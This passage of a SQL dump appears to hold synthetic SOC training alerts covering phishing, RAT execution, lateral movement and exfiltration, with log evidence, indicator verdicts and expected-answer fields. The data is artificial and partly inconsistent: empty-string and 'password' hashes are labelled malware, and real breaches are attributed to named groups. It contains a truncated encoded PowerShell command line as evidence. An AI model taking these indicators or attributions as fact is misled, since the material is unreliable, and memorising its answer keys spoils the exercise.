C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(787, 'Lateral Movement Traced', 'high', 'Network Traffic Analysis', 'Deep Panda identified conducting internal reconnaissance to map network and locate critical databases. Movement detected from 10.0.0.45 to 192.168.1.100, targeting database server containing sensitive patient records.', 'Internal Reconnaissance', 'T1046', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:28Z\",\"source_ip\":\"10.0.0.45\",\"destination_ip\":\"192.168.1.100\",\"malicious_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"Lateral Movement Detected\",\"protocol\":\"SMB\",\"filename\":\"db_script.ps1\",\"action\":\"Access Attempted\",\"result\":\"Success\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted database server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Deep Panda.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by Deep Panda.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"db_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Script file used during lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(788, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Systems', 'Anomalous data transfer detected from internal network to an external IP, indicating the extraction of unencrypted patient data from Anthem\'s database.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.1.2.45\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_name\":\"patient_data_extract.csv\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"transfer_size\":\"15MB\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"alert_id\":\"DLP-2023-5678\"}', '2026-01-11 23:42:29', '2026-02-16 18:00:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known command-and-control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"patient_data_extract.csv\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive patient data\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detection across multiple AV engines\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(789, 'Initial Access via Spear Phishing Campaign', 'high', 'Email security logs', 'APT1 initiated the breach with a targeted spear phishing campaign, sending malicious emails to OPM employees to harvest credentials, enabling them to infiltrate the network.', 'Phishing', 'T1566.001', 1, 'investigating', 74, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"email_id\":\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"recipient\":\"jdoe@opm.gov\",\"sender\":\"compromised@trustedsource.com\",\"subject\":\"Urgent: Action Required\",\"attachment_name\":\"HR_Policy_Update.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_url\":\"http://malicious-site.com/login\",\"detected_phishing\":true}', '2026-01-11 23:44:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"compromised@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"Email address used in multiple phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(790, 'Execution of PlugX RAT for Network Control', 'high', 'Endpoint detection and response (EDR) logs', 'APT1 has deployed the PlugX RAT to execute commands and manipulate system processes, ensuring continued access and control over the network. The RAT was executed from a suspicious executable found on the endpoint.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:38Z\",\"event_type\":\"process_creation\",\"hostname\":\"compromised-host\",\"username\":\"john_doe\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"process_name\":\"plugx.exe\",\"process_id\":5678,\"parent_process_id\":1234,\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\plugx.exe\"}', '2026-01-11 23:44:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT1 operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with PlugX RAT executable.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"plugx.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable file related to PlugX RAT.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(791, 'Exfiltration of Sensitive Personnel Data', 'critical', 'Network traffic analysis', 'With the PlugX RAT in place, APT1 moved laterally to access and exfiltrate sensitive personnel data, including fingerprint records and SF-86 forms, posing a significant threat to national security.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"src_ip\":\"10.0.2.15\",\"dest_ip\":\"203.0.113.45\",\"src_port\":\"443\",\"dest_port\":\"8080\",\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"SF86_form_data.zip\",\"hash\":\"3b1c3497d4f5e7d2a2e8f8b6a9d1c5b2\",\"action\":\"exfiltrate\",\"status\":\"success\"}', '2026-01-11 23:44:22', '2026-02-16 18:00:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT1 Command & Control server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b1c3497d4f5e7d2a2e8f8b6a9d1c5b2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"PlugX RAT payload used in data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"SF86_form_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Monitoring\",\"verdict\":\"internal\",\"details\":\"Sensitive personnel data file targeted for exfiltration\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(792, 'Initial Access: Spear Phishing Campaign', 'medium', 'Email Gateway Logs', 'APT1 initiated their attack with a series of spear-phishing emails aimed at Starwood employees to harvest credentials and establish a foothold in the network.', 'Spear Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T09:15:32Z\",\"email_id\":\"c28f1e5d-f45e-4b6a-9a1f-ec4b1a9b7c1d\",\"sender_email\":\"john.doe@maliciousdomain.com\",\"recipient_email\":\"jane.smith@starwood.com\",\"subject\":\"Urgent: Verify Your Account Information\",\"attachment\":{\"filename\":\"Invoice_2023.pdf\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known to host phishing infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Low detection rate but flagged by multiple engines.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Campaign\",\"date\":\"2026-02-01T20:32:22.440Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(793, 'Execution: Deployment of Remote Access Trojan', 'high', 'Endpoint Detection and Response (EDR) Systems', 'The attackers deployed a custom Remote Access Trojan (RAT) named \'RATDeploy.exe\' on the compromised system. This malware allows the attacker to execute commands remotely and maintain persistent access.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:45Z\",\"event_id\":\"evt-123456\",\"host_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"process_name\":\"RATDeploy.exe\",\"process_hash\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"user\":\"compromised_user\",\"action\":\"execute\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\Downloads\\\\RATDeploy.exe\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Remote Access Trojan.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"RATDeploy.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used for remote access and command execution.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account on the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(794, 'Persistence: RAT Maintains Control Post-Acquisition', 'high', 'Network Traffic Analysis', 'APT1 demonstrated advanced persistence techniques by adapting their RAT to remain active and undetected during the transition of network control to Marriott. Network traffic analysis detected unexpected outbound connections to a known malicious IP, indicating a potential RAT communication attempt.', 'Persistence Mechanism', 'T1543 - Create or Modify System Process', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"source_port\":54321,\"destination_port\":8080,\"username\":\"jdoe\",\"process_name\":\"svchost.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"update.dll\",\"event\":\"Outbound Connection\",\"action\":\"Allowed\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT1.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with APT1 RAT 